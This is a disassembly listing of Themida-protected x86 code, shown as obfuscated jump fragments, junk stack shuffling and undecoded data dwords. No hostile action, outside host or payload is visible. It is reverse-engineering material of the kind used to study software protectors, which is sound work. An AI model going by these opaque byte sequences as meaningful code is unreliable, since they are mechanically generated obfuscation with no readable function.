jmp loc_54559B ; --------------------------------------------------------------------------- dw 558h dd 4, 6C17BB53h, 0E3C143DAh, 9954E907h, 0D8310000h, 4EC81h dd 14890000h, 2DCBE924h, 0E0C10000h, 5436E903h, 5DBF0000h dd 894F6A74h, 0C1E95FFDh, 53000002h, 0D3F6D8B3h, 0C380C3FEh dd 0D9E95214h, 66000058h, 68240C8Bh, 71C7h, 54243C89h dd 5F2434FFh, 1F15E9h, 241C8B00h, 4C481h, 0C8300000h, 775FE9h dd 1ABA5200h, 0D12D721Dh, 0E94A4AEAh, 6C07h, 8924248Bh dd 4BD242Ch, 5000000h, 42EB3900h, 6088E9h, 81E58900h, 4C5h dd 0BD4E900h, 0C2830000h, 343BE901h, 0E0890000h, 74DCE9h dd 0D0015E00h, 206EE9h, 0EA815800h, 7DFB7746h, 0FFE454E9h db 0FFh ; --------------------------------------------------------------------------- loc_5461B5: ; CODE XREF: Themida_:0054ABC5j push eax mov eax, 2351252Dh mov edi, eax pop eax push 47B7h mov [esp], edx push edi mov edi, 0DCAFDAD3h mov edx, edi pop edi jmp loc_54CE53 ; --------------------------------------------------------------------------- dd 0A1F58145h, 8147C20Ch, 813CDDF5h, 1026050Bh, 9AE9652Eh dd 66000068h, 0E9240489h, 0FFFFE415h ; --------------------------------------------------------------------------- loc_5461F4: ; CODE XREF: Themida_:00545BE6j jmp loc_544609 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E1895124h, 4C181h, 0EC830000h, 24348904h, 3F9E955h dd 0E9590000h, 0FFFFE4DBh, 42474FFh, 24048F5Fh, 246C815Ch dd 4C111F04h, 247C2912h, 6C40E904h, 52510000h, 977EE9h dd 0E3CBE900h, 4B8FFFFh, 0E9000000h, 92B1h ; --------------------------------------------------------------------------- loc_546248: ; CODE XREF: Themida_:005508D2j add edx, 4 push esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] pop esp mov [esp], edi push eax mov eax, 1000h jmp loc_5497BA ; --------------------------------------------------------------------------- db 56h, 87h, 14h dd 87D2F724h, 19E92414h, 50000089h, 0AB503BB8h, 58C73105h dd 6815ED81h, 0FD014E19h, 0A482E9h, 52E38900h, 4BAh, 5AD30100h dd 8704EB83h, 0E95C241Ch, 0A504h, 4662E95Dh, 0DBF60000h dd 0F6A7C380h, 22B3E9DBh, 0C2810000h, 590CFE6Ah, 0DFE9D089h dd 89000047h, 4C781E7h, 50000000h, 8904EC83h, 88BF243Ch dd 0F701E41Bh, 8AC781DFh, 8901E41Bh, 6857E9F8h, 0B9510000h dd 5F433826h, 8159CE29h, 81BB42EEh, 17C6E99Ch, 0E9420000h dd 0BCCh, 8B242C33h, 4D32424h, 0FAE99C24h, 87FFFFE2h, 0E95C2434h dd 38F2h ; --------------------------------------------------------------------------- loc_546318: ; CODE XREF: Themida_:00546CA9j mov ebx, esp jmp loc_55029C ; --------------------------------------------------------------------------- loc_54631F: ; CODE XREF: Themida_:005494F4j not ecx xor ecx, 0A5BFC62Ch jmp loc_54519D ; --------------------------------------------------------------------------- loc_54632C: ; CODE XREF: Themida_:0054FD87j pop edx shl ebp, 7 sub ebp, 10F93D62h xor ebp, 4FE4659Ah jmp loc_547207 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FEC8B050h, 0C0BE24C0h, 58E907E8h, 81000083h, 4C4h dd 0EC815F00h, 4, 0BF243C89h, 800h, 34FFF821h, 0C3685F24h dd 89000045h, 7AE92434h, 8B000053h, 8956241Ch, 4C681E6h dd 81000000h, 4C6h, 24348700h, 4C4835Ch, 5324148Bh, 0C381E389h dd 4, 8704C383h, 0E95C241Ch, 0FFFFE25Dh, 447D68h, 24048900h dd 524752B8h, 18B9512Dh, 811F331Ch, 71FAEEE9h, 59C82916h dd 241CF750h, 8324048Bh, 5D2D04C4h, 35589E5Eh, 76F11B77h dd 507C1E35h, 58C7010Ah, 0E95F5857h, 0FFFFE655h, 2706782Dh dd 5E80166h, 66270678h, 5E0C15Dh, 0BBE9D0F7h, 8F000002h dd 0E1FFE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54640A: ; CODE XREF: Themida_:00547F8Dj shr ebp, 1 shr ebp, 5 sub ebp, 9CCC872Ah mov ecx, ebp jmp loc_54B7C9 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0E9522404h, 224Fh, 2BEh, 36166800h, 34890000h dd 3C00BE24h, 2BE945DDh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54643F: ; CODE XREF: Themida_:00547944j pop ebp xor eax, 0A3001E5h inc eax add eax, 0A6C3D33Ah jmp loc_5481A8 ; --------------------------------------------------------------------------- loc_546450: ; CODE XREF: Themida_:00549D81j sub ecx, 28166CA2h not ecx jmp loc_545A2C ; --------------------------------------------------------------------------- loc_54645D: ; CODE XREF: Themida_:0054CFEAj push esp mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_548D6A ; --------------------------------------------------------------------------- db 1 dd 3AC581D5h, 8B23C058h, 0C4832414h, 0E8315804h, 0F0C3815Dh dd 576AC139h, 0CB0D51BFh, 3EFC131h, 2EFC147h, 5747D7F7h dd 0E92414F7h, 26AAh, 4BB53h, 0DF010000h, 408BE9h, 1AC2BB00h dd 53435124h, 5B2414F7h, 6EA6EB81h, 0D8298A69h, 83241C8Bh dd 148B04C4h, 4C48324h, 0FFEB9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5464DD: ; CODE XREF: Themida_:0054F888j push 5058h mov [esp], ebp mov ebp, 197BF31Ch sub ebx, ebp jmp loc_54A252 ; --------------------------------------------------------------------------- aIqS4y db '┴О]И4Y',0 dd 9BB55100h, 2859E828h, 0A0E958C6h, 5E000026h, 8CEEB81h dd 89562D0Ah, 4C681E6h, 81000000h, 4EEh, 24348700h, 0F0B5E95Ch dd 0C481FFFFh, 4, 72116852h, 34890000h, 4EC8124h, 89000000h dd 84B82404h, 0BE3BF31Ah, 0F8A998B6h, 48BC601h, 4C48324h dd 2D5EF289h, 66DA6E49h, 25E9D001h, 51FFFFE6h, 874EEFB9h dd 59CA0179h, 4204B850h, 0FF2D7BABh, 5FFFFFFh, 0E8141A9Dh dd 7020E9h, 1C68300h, 4B01CE81h, 0B6E91D72h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54658B: ; CODE XREF: Themida_:0054B6C0j mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp and eax, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] pop esp jmp loc_548C55 ; --------------------------------------------------------------------------- db 51h, 0E9h, 0F0h dd 6800000Dh, 17A2h, 0B2241489h, 0E9D7084Ah, 1723h, 815DEA89h dd 0D4B46E2h, 2E2C176h, 0EBC28142h, 81F7EBDFh, 0DF234AC3h dd 15C3816Bh, 134C574h, 15BE56D3h, 2934C574h, 0EB815EF3h dd 6BDF234Ah, 0E924148Bh, 9659h, 23E9F501h, 0BD000019h dd 74511DBEh, 758AF581h, 0ED8142EEh, 0E349F269h, 5467F581h dd 0EC814FF5h, 4, 25F3E9h, 243C8700h, 0EE814E5Eh, 4CEB49FCh dd 7DAAC681h, 0F1892CBCh, 8124348Bh, 4C4h, 59C80100h, 0B18BD55h dd 0DE6855FBh, 8900006Fh, 0FABF243Ch, 813D981Fh, 1D5091EFh dd 0E7814F65h, 41C62621h, 0C259EF81h, 0FD290BBDh, 8314E9h dd 0FDEE8000h, 5A66F000h, 1A23E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546686: ; CODE XREF: Themida_:00550A20j sub esp, 4 mov [esp], edi mov edi, 0C197C5F9h sub ebx, 335338AFh sub ebx, edi jmp loc_54E395 ; --------------------------------------------------------------------------- dw 0FA35h dd 8905E238h, 0DF0158C3h, 74FF575Bh, 3C8B0424h, 10F66824h dd 3C890000h, 69DAE924h, 682D0000h, 0E9018F64h, 9A00h dd 364AE954h, 0DE280000h, 1F6805Bh, 2819C680h, 99E95AF0h dd 0B900001Ah, 603C7498h, 0B6E9C829h, 5EFFFFEEh, 78F0F681h dd 4A6848B6h, 8900001Bh, 0E9512434h, 7D7h, 322FEF81h, 27E91EEEh dd 0BA000060h, 4, 148BD001h, 4C48124h, 2D000000h, 2, 0E9240487h dd 2B0Eh, 2C0055Bh, 0B1E95EA6h, 4A000093h, 0FFFFC281h dd 0F281FFFFh, 6B5A1B00h, 30D4CA81h, 0EA817CADh, 0D98F43D9h dd 0DFE9D131h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546753: ; CODE XREF: Themida_:00548FD8j or ecx, 3C05647Fh jmp loc_544F86 ; --------------------------------------------------------------------------- dw 1C89h aQso db '$QИ▌',0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_546767: ; CODE XREF: Themida_:00549EF3j xchg esi, [esp] pop esp jmp loc_54FC77 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 34FF2434h, 13BE924h, 0F72C0000h, 0F704F028h dd 1D85E9h db 0 ; --------------------------------------------------------------------------- loc_546789: ; CODE XREF: Themida_:00548E43j add ebx, 771E676Fh xor edx, eax jmp loc_544609 ; --------------------------------------------------------------------------- dw 0A4BAh dd 12E191Ah, 24148BD6h, 4C481h, 9E90000h, 52000088h, 5C9AE9h dd 0D8BF5700h, 295A7F61h, 0C1015FF9h, 508EE9h, 19E38100h dd 81600A47h, 0D900BBF3h, 15CB8138h, 81451579h, 0D579B5F3h dd 0B0EE815Dh, 1413548h, 0B0C681DEh, 8B413548h, 0C483241Ch dd 24343304h, 330E9h, 0F6C4B100h, 63F180D9h, 887FE980h dd 0EC8359CBh, 240C8904h, 0DDF63AB5h, 0B652D5F6h, 5AF53047h dd 4EC81h, 14890000h, 0FEC2B624h, 80BCE9C6h, 0FB010000h dd 74FF535Fh, 8F5B0424h, 248B2404h, 71D3E924h, 48F0000h dd 0E94F5F24h, 82CDh, 747A68h, 56B9E900h, 0FCBD0000h, 4534EE2Ah dd 0FCE58145h, 0E9136C2Ah, 1D9Ah, 0E0C09DB0h, 2CC0FE03h dd 0E90F3401h, 4C96h, 0D85BEA81h, 0C1E9AA08h, 81000046h dd 4C4h, 2C24E900h, 0BB530000h, 4, 8DE9DF01h, 2D000090h dd 632A269Ch, 0D0F7D8F7h, 38642D48h, 76051952h, 0E959C367h dd 5316h, 0EBD5557h, 5577375Dh, 2F5DE9h, 0BA685A00h, 89000051h dd 5D54242Ch, 0F974E950h, 875BFFFFh, 815C2404h, 4C3h, 4C38100h dd 0E9000000h, 4B65h, 5EB95151h, 312CA825h, 8B04244Ch dd 0C483240Ch, 59E95F04h, 8BFFFFEFh, 0C4812404h, 4, 4EC8350h dd 81242489h, 42404h, 0E9580000h, 84D3h, 175568h, 24348900h dd 9677ABBEh, 8BF1896Fh, 0C4832434h, 0E9CA2904h, 79CCh dd 79DAC581h, 0ED813E66h, 31D60DCBh, 90F5E9h, 240C8B00h dd 611AE9h, 4015F00h, 4EC8324h, 0BE243489h, 33886F4Fh dd 4247401h, 8324348Bh, 0A2E904C4h, 30FFFFDCh, 0A7E95AD3h dd 8B00001Bh, 0C481243Ch, 4, 0FFE653E9h, 24148BFFh, 81E78957h dd 4C7h, 4C78300h, 5C243C87h, 0FFEE42E9h, 6D56BEFFh, 514621B7h dd 8235FAB9h, 2301E934h, 0B5BF0000h, 81291D0Bh, 622560C7h dd 0E7C14F21h, 0F1E94F08h, 0F7FFFFF9h, 0B3E94ED6h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5469C3: ; CODE XREF: Themida_:0054CBFCj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- aAs db 'aИ& ',0 align 4 dd 9A188ABEh, 70DB2D6Eh, 0F0297C61h, 6170DB05h, 34FF5E7Ch dd 0C4815B24h, 4, 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8100h dd 55000000h, 42474FFh, 24048F5Dh, 243C895Ch, 4EC8153h dd 89000000h, 0B868242Ch, 5D0BA01Ch, 99489ABBh, 2FEB810Dh dd 0E9230C51h, 7F46h, 3CDFC281h, 0E9516B9Ch, 0FFFFFEDCh dd 2A3EBE56h, 54E9585Eh, 81000028h, 0B72698CFh, 47D7F71Bh dd 41BAE9h, 14260500h, 0C7015A00h, 8124048Bh, 4C4h, 4EF8100h dd 87000000h, 895C243Ch, 74FF243Ch, 3C8B0424h, 4C48124h dd 8F000000h, 0F7572404h, 575F2414h, 3399E9h, 2FCFBD00h dd 0CD8101F4h, 50174697h, 857CE9h, 1C77FF00h, 1058669Dh dd 0E99C2404h, 0FFFFDB61h, 5ABBEE81h, 0FE016900h, 5ABBC681h dd 0C6816900h, 6E06644Bh, 9CE1E9h, 0E9424200h, 2151h, 0FAEB80h dd 0FAC380EBh, 0BC0459h, 8BBC2CD8h, 0E955241Ch, 38CFh dd 5366D886h, 662414F6h, 0E9D8305Bh, 0FFFFE6BFh ; --------------------------------------------------------------------------- loc_546AF0: ; CODE XREF: Themida_:0054E21Ej xor ecx, eax jmp loc_54C9D1 ; --------------------------------------------------------------------------- db 58h dd 405h, 5FE95300h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B03: ; CODE XREF: Themida_:005474EDj pop eax jmp loc_549633 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0AC47B5F3h, 39E95E6Ch, 66FFFFDFh, 9C242CD3h dd 0FFDAE4E9h, 243431FFh, 0E9243433h, 8FCDh, 53242C8Bh dd 0C3815B54h, 4, 8CCE9h, 81DFF700h, 96C5CC7h, 72E1E966h dd 0C9800000h, 0F6D1F67Dh, 9E980D1h, 1B92E9h db 0 ; --------------------------------------------------------------------------- loc_546B5D: ; CODE XREF: Themida_:0054B1A0j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_549C79 ; --------------------------------------------------------------------------- loc_546B6E: ; CODE XREF: Themida_:0054B41Bj sub edi, 0EAC0498h add edx, edi pop edi sub edx, 392B691Fh sub edx, 1 push ebp jmp loc_544D1E ; --------------------------------------------------------------------------- loc_546B86: ; CODE XREF: Themida_:00548380j sub esp, 4 mov [esp], ecx mov ecx, 52484123h or edx, ecx pop ecx add edx, 0AD049661h add ecx, edx pop edx jmp loc_54A195 ; --------------------------------------------------------------------------- db 89h, 0EAh, 5Dh dd 12E9D189h, 2C000052h, 28852C2Eh, 668504E8h, 2EB551h dd 665966E8h, 5F545759h, 5AEE9h db 0 ; --------------------------------------------------------------------------- loc_546BC9: ; CODE XREF: Themida_:0054C9D6j mov [esp], ebx push dword ptr [esp] pop eax push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] jmp loc_54599C ; --------------------------------------------------------------------------- db 8Bh dd 68552404h, 7DE5h, 0FFE5C8E9h, 28E957FFh, 55000071h dd 8448E9h db 0 ; --------------------------------------------------------------------------- loc_546BFD: ; CODE XREF: Themida_:00545198j pop edx add esp, 4 pop ebp sub esp, 4 mov [esp], ebx push eax mov eax, 53F85BA6h jmp loc_54911D ; --------------------------------------------------------------------------- loc_546C13: ; CODE XREF: Themida_:0054E64Fj and eax, ebp pop ebp or eax, eax jz loc_548EF6 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] push esi mov esi, esp push ebp mov ebp, 4 jmp loc_54E5B5 ; --------------------------------------------------------------------------- db 59h, 80h, 0EEh dd 3E6C08Eh, 80FFC680h, 0F02801EEh, 5A2434FFh, 5204C483h dd 1059E9h, 0E9C15900h, 9433E905h, 8B660000h, 83532404h dd 0DEE904ECh, 5300003Bh, 3479B050h, 886B2C1Dh, 0EF8058C7h dd 0FEE7D0F5h, 36CF80CFh, 0E9ACEF80h, 0FFFFE88Dh, 0E924048Fh dd 0FFFFEEE1h, 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFD96Dh dd 5C243C87h, 0FFFE76E9h db 0FFh ; --------------------------------------------------------------------------- loc_546CA5: ; CODE XREF: Themida_:00547AABj mov ecx, [esp] push ebx jmp loc_546318 ; --------------------------------------------------------------------------- loc_546CAE: ; CODE XREF: Themida_:00549FB1j push 3FC7h mov [esp], edx jmp loc_548E37 ; --------------------------------------------------------------------------- loc_546CBB: ; CODE XREF: Themida_:00548CA2j push edi mov ebp, [esp] add esp, 4 pop edi not edi xchg edi, ebp push eax mov eax, 0FFE49FB2h sub ebp, eax pop eax push esi mov esi, ebp push 390Bh mov [esp], edi mov edi, esi sub esp, 4 mov [esp], ecx mov ecx, edi mov edx, ecx mov ecx, [esp] add esp, 4 jmp loc_548EF3 ; --------------------------------------------------------------------------- aIjqsqg db '╧',1Bh,'⌡╕ОИО┐',0 db 0 ; --------------------------------------------------------------------------- loc_546CFF: ; CODE XREF: Themida_:0054EAB5j push 4F843C83h mov ebp, [esp] add esp, 4 dec ebp push ebx mov ebx, 5C755771h xor ebx, 31A97C4Fh add ebx, 9223D4C3h add ebp, ebx mov ebx, [esp] add esp, 4 sub ebp, 231C4EC6h jmp loc_54FEB2 ; --------------------------------------------------------------------------- dw 8B66h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 jmp loc_550412 ; --------------------------------------------------------------------------- db 0BEh, 8Ch, 0Dh dd 74290015h, 5F5E0424h, 0D8CC781h, 0E95D0015h, 2D9Bh dd 5B2434FFh, 0F0C6E950h, 0C583FFFFh, 242C8704h, 0AEBE565Ch dd 52616A1Ch, 6548E9h, 7EE95C00h, 51000093h, 288FE9h, 0C8B6600h dd 4EC8324h, 0E9241489h, 173Dh, 8108EDC1h, 645BACE5h, 80BA5235h dd 14DC10Dh, 0E7685AD5h, 8900004Ch, 0B968241Ch, 89000070h dd 89BF243Ch, 8974CA4Eh, 52E95FFBh, 87000026h, 305C242Ch dd 0C0B60FC3h, 8B8734FFh, 0E3E92404h, 6600009Dh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, 7B74186Dh add ebp, edx push edx mov edx, 71724D0Bh push esi mov esi, 5AF27757h or edx, esi pop esi add edx, 743E2CD6h neg edx inc edx xor edx, 74BB4BA1h jmp loc_5476C3 ; --------------------------------------------------------------------------- db 4 dd 0E9600493h, 6BDAh, 8704EF83h, 248B243Ch, 24148924h dd 453CE9h, 4E95300h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546E2F: ; CODE XREF: Themida_:0054C2A4j sub ebx, edx jmp loc_548700 ; --------------------------------------------------------------------------- dd offset dword_506448+720h dw 8900h dd 87E9241Ch, 8B000067h, 0C481241Ch, 4, 8B24048Fh, 66642424h dd 0EE90289h, 29000064h, 0DEF75AD6h, 1CDEE953h, 295E0000h dd 2434FFDFh, 4C4815Bh, 0F7000000h, 81DFF7DFh, 3A3F04E7h dd 727BE953h, 0F3000000h, 0FDB1515Ah, 8001C980h, 0D1F644F1h dd 28F4C180h, 0EB8059CBh, 0C0B60FC0h, 0FF8734FFh, 92E92434h dd 8900004Eh, 0BBBF243Ch, 31629C50h, 0A3E95FF8h, 5100009Ch dd 0C181E189h, 4, 8702E983h, 0E95C240Ch, 89DFh, 6B5DEA81h dd 1E929A5h, 0B9000041h, 5FC45843h, 4244C31h, 0FA97E959h dd 0C701FFFFh, 7BF3E9h, 4C38100h, 87000000h, 8B5C241Ch dd 0B2E92404h, 1, 3C17E9D0h, 0C2810000h, 4, 2EA81h, 4AE90000h dd 8100000Ah, 4ECh, 243C8900h, 4EC81h, 1C890000h, 2F766824h dd 685B51E2h, 1138h, 0B9240C89h, 2D967600h, 4EC81h, 0C890000h dd 241C8724h, 65E9D3F7h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546F4F: ; CODE XREF: Themida_:005506BCj pop edi add esp, 4 or eax, eax jz loc_549573 push dword ptr [edi+1Ch] push eax mov eax, 466F1350h xor [esp+4], eax pop eax mov ecx, [esp] add esp, 4 push 1762h mov [esp], eax push 44B1h mov [esp], ebp push ebx push 33B644F9h mov ebx, [esp] jmp loc_544960 ; --------------------------------------------------------------------------- loc_546F90: ; CODE XREF: Themida_:0054CCC1j add esi, 5E7F20B3h add ebp, esi pop esi push esi jmp loc_549059 ; --------------------------------------------------------------------------- db 1 dd 0EA8359CAh, 74FF5204h, 8F5A0424h, 248B2404h, 24048924h dd 405E089h, 5000000h, 2, 31240433h, 4332404h, 24248B24h dd 7A6CE9h, 5142B500h, 12454F6h, 0FFE657E9h, 2BB66FFh dd 44816600h, 35A80224h, 245C0166h, 6C816602h, 35A80224h dd 241C8B66h, 4EC81h, 4890000h, 5E08924h, 4, 76D3BA52h dd 56421192h, 531E57BEh, 0DEE68110h, 810D5D33h, 41BA8F6h dd 6772E967h, 680000h, 29000000h, 1C8B241Ch, 4C48324h dd 432BEB81h, 0DF890194h, 0E9F8015Bh, 0FFFFE7BDh, 96240481h dd 5A2D596Ah, 6A96EA81h, 0E9582D59h, 6961h ; --------------------------------------------------------------------------- loc_547058: ; CODE XREF: Themida_:00548157j add eax, 4 xchg eax, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_54DDA1 ; --------------------------------------------------------------------------- dw 2205h dd 0F733AA04h, 0DE957D8h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54707F: ; CODE XREF: Themida_:00544CF8j add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_547FE0 ; --------------------------------------------------------------------------- db 68h, 35h, 24h dd 2C890000h, 910AE924h, 0B2C0000h, 0D800AA2Ch, 524DE9h dd 703A6800h, 1C890000h, 1C8B5424h, 690DE924h, 0E95C0000h dd 71E5h ; --------------------------------------------------------------------------- loc_5470C8: ; CODE XREF: Themida_:005495FBj sub bl, al sub bl, 23h pop ax jmp loc_54A573 ; --------------------------------------------------------------------------- dd 0FFE8015Eh, 34FF2434h, 0C4815D24h, 4, 4C481h, 0EC830000h dd 243C8904h, 0F70EC7BFh, 8BFB016Fh, 8CE9243Ch, 5F000065h dd 5E4FEB81h, 0EB8104A6h, 5F9C5D47h, 0C381C329h, 5F9C5D47h dd 5E4FC381h, 0EB8104A6h, 6DD41F25h, 39F0EB81h, 0C2816AC1h dd 7DFB7746h, 4F5068h, 24048900h, 5414E9h, 8BD90100h, 0C481241Ch dd 4, 31240C33h, 0C33240Ch, 2A45E924h, 0DA680000h, 8B039678h dd 6E92414h, 0FF000085h, 5A042474h, 0FF24048Fh, 88E92434h dd 1FFFFF7h, 8AE95FFEh, 81000037h, 4C7h, 0FC96E900h, 2C89FFFFh dd 62B5BD24h, 684D0653h, 0 dd 8B242C29h, 0C483242Ch, 1C58304h, 0F701C583h, 1FB850D5h dd 0E979F425h, 55BFh, 2399BE56h, 8146649Fh, 734567E6h dd 8EEC15Eh, 24048756h, 64E9D0F7h, 66000076h, 5724048Bh dd 0D9E95F54h, 5FFFFF2h, 182C47B1h, 0F7D0F740h, 2EAC35D8h dd 0C229EB12h, 5AD58958h, 0C8BCD31h, 1007E924h, 0F660000h dd 9C2404BBh, 0FFD40CE9h, 8BF828FFh, 0F8E9241Ch db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547207: ; CODE XREF: Themida_:0054633Cj xor ebp, 6EEF4733h xor ecx, ebp jmp loc_550AC4 ; --------------------------------------------------------------------------- loc_547214: ; CODE XREF: Themida_:0054F03Bj xchg ebp, [esp] pop esp push eax push edx mov edx, 0BE7E09h jmp loc_549A45 ; --------------------------------------------------------------------------- loc_547224: ; CODE XREF: Themida_:00547D4Ej mov edx, 1DF24FDDh inc edx sub esp, 4 jmp loc_54B36B ; --------------------------------------------------------------------------- loc_547232: ; CODE XREF: Themida_:00547C8Fj add dword ptr [esp+4], 4C086CF2h pop edi jmp loc_54AF80 ; --------------------------------------------------------------------------- aLSsd db '▀$$SИ╓+',0 dd 0F4E95600h, 5EFFFFDEh, 7395C381h, 0C3814A83h, 65CE3D96h dd 20F1E9h, 0FDF28100h, 102F53Fh, 34875AD6h, 54575C24h dd 4C7815Fh, 83000000h, 0D3E904C7h, 5800005Ch, 693E68h dd 243C8900h, 153AE9h, 223F0500h, 0FA050EC4h, 59715D4Eh dd 0E956D801h, 0FFFFF72Ch, 35E0EB81h, 0FB01113Dh, 35E0BD55h dd 0EB01113Dh, 243C8B5Dh, 4C481h, 0EB830000h, 241C3304h dd 0E9241C31h, 24FFh, 22B353ACh, 1167E9h, 5FFA0100h, 562268h dd 24148900h, 88DFE9h, 0E99C5000h, 0FFFFD321h, 240C8B66h dd 0E902C483h, 377Eh, 0BF7873B9h, 0E5BE560Ah, 0F75F1C57h dd 0D2C681DEh, 2968DAB9h, 0C8315EF1h, 8B2434FFh, 8950240Ch dd 3D1BE9E0h, 815A0000h, 0BC628FEAh, 81FA0179h, 0BC628FC2h dd 3A8B6879h, 0C890000h, 62E95524h, 81000061h, 180E12F2h dd 1188E970h, 0C0FE0000h, 0EF804B2Ch, 80C7002Eh, 59582EC7h dd 88FA8852h, 0F6E95AD1h, 81FFFFEDh, 0C05CF0C1h, 0E9815D18h dd 2, 31240C33h, 0C33240Ch, 24248B24h, 240C8966h, 350DE9h db 0 ; --------------------------------------------------------------------------- loc_54737D: ; CODE XREF: Themida_:00545F00j push 6001h jmp loc_54FEEB ; --------------------------------------------------------------------------- db 81h dd 0CA36C8EFh, 0D821E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547392: ; CODE XREF: Themida_:00548345j mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] pop esp jmp loc_54CFD3 ; --------------------------------------------------------------------------- db 0B9h dd 62332256h, 0FFFFE981h, 0E181FFFFh, 266253ADh, 40DCE181h dd 49417FADh, 6461C181h, 0CF31EF2Ch, 5FFD8959h, 0FFF920E9h db 0FFh ; --------------------------------------------------------------------------- loc_5473D5: ; CODE XREF: Themida_:00550578j inc ebp add ebp, 4B0D8F37h and eax, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or edx, eax shl edx, 1 push ecx jmp loc_54755C ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 24248B24h, 308CE9h, 4C38100h, 0E9000000h dd 356Ch, 8688E95Ah, 24890000h, 70FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547426: ; CODE XREF: Themida_:0054558Bj and eax, ebx pop ebx or eax, eax jz loc_54B0C7 push dword ptr [edi+1Ch] jmp loc_549184 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 8837E9h, 3E7C100h, 14BE5650h, 81010921h, 832A83C6h dd 0FFEE816Eh, 0E9FFFFFFh, 0FFFFEE86h, 2C8BE831h, 4C48324h dd 214868h, 24048900h, 0C270C768h, 6FE7E909h, 0E9560000h dd 2ABFh, 1A2DE95Ah, 0EB810000h, 6DB131D0h, 737BEB81h dd 0EB8172B5h, 0AEC170Ah, 0BA52C329h, 5FC45BD8h, 5A74E281h dd 0CA8120F2h, 3DF000C6h, 142A68h, 243C8900h, 91270BFh dd 0E786E93Bh, 1489FFFFh, 378BBA24h, 0C7E937B3h, 89FFFFECh dd 8852240Ch, 1C3DE9E2h, 0E9470000h, 1F89h ; --------------------------------------------------------------------------- loc_5474DC: ; CODE XREF: Themida_:005481AFj mov [edi+20h], ecx push dword ptr [esp] pop ecx add esp, 4 pop eax loc_5474E7: ; CODE XREF: Themida_:00544865j ; Themida_:loc_54E34Fj push dword ptr [esp] pop ebx push eax push esp jmp loc_546B03 ; --------------------------------------------------------------------------- dw 8159h dd 15742F3h, 0A8F38130h, 0E961D440h, 9718h, 0F8E9E389h dd 28000015h, 46E6E9EBh, 102D0000h, 0E975463Ch, 0FFFFE132h dd 81240C89h, 4ECh, 24248900h, 4240481h, 0E9000000h, 9362h dd 0F181D1F7h, 3A48ACDAh, 7239D22Dh, 7BBF5750h, 811F371Ch dd 90182CCFh, 7C74E91Fh, 0E82D0000h, 0E9183169h, 8415h ; --------------------------------------------------------------------------- loc_54755C: ; CODE XREF: Themida_:005473FAj push 1 pop ecx sub esp, 4 mov [esp], edx mov edx, 24h add edx, edi jmp loc_54ECA7 ; --------------------------------------------------------------------------- dd 4C481h, 1C8B0000h, 4C48324h, 0FFFF01E9h, 2434FFFFh dd 0FFDB77E9h, 313BBBFFh, 0DBF77D86h, 0B1E4EB81h, 0D8292730h dd 4875A5Bh, 0A58E924h, 8B5E0000h, 0FE95B03h, 5100005Fh dd 0B8707B9h, 59CB01AAh, 416DE9h, 58C63000h, 0F000F82Ch dd 4A226866h, 24148966h, 7FE9F8B2h, 8B000032h, 0EAE92434h dd 8100000Ch, 4C6h, 4BF5700h, 0E9000000h, 7CE6h, 0D066E94Dh dd 0E981FFFFh, 0E370E38h, 0FFFF37E9h, 5FF989FFh, 0E959CB01h dd 73FBh, 240C8B66h, 76F6852h, 24890000h, 24048124h, 4 dd 63B9515Ah, 0F70AE026h, 97C981D9h, 0E9270111h, 15CEh dd 240C8B66h, 55E08950h, 8C49B9BDh, 0B5BA5219h, 29198C49h dd 53515AD5h, 0EB150EBBh, 5BD98935h, 407CB850h, 0C1311DE2h dd 9365E958h, 525F0000h, 7916E9h, 6EEC100h, 299B951h, 0F1812C0Bh dd 431B5C83h, 357DF181h, 0C98114D8h, 3AAC744Ah, 7ED5C981h dd 0DE9021Dh, 51000053h, 1F15E9h, 0E9380C00h, 72E8h, 0F987D7F7h dd 74E9BF57h, 0C78101C2h, 2AC72A57h, 5B15CF81h, 0C7812D41h dd 15C078D6h, 19EEF81h, 0F9212678h, 0A9E9555Fh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- 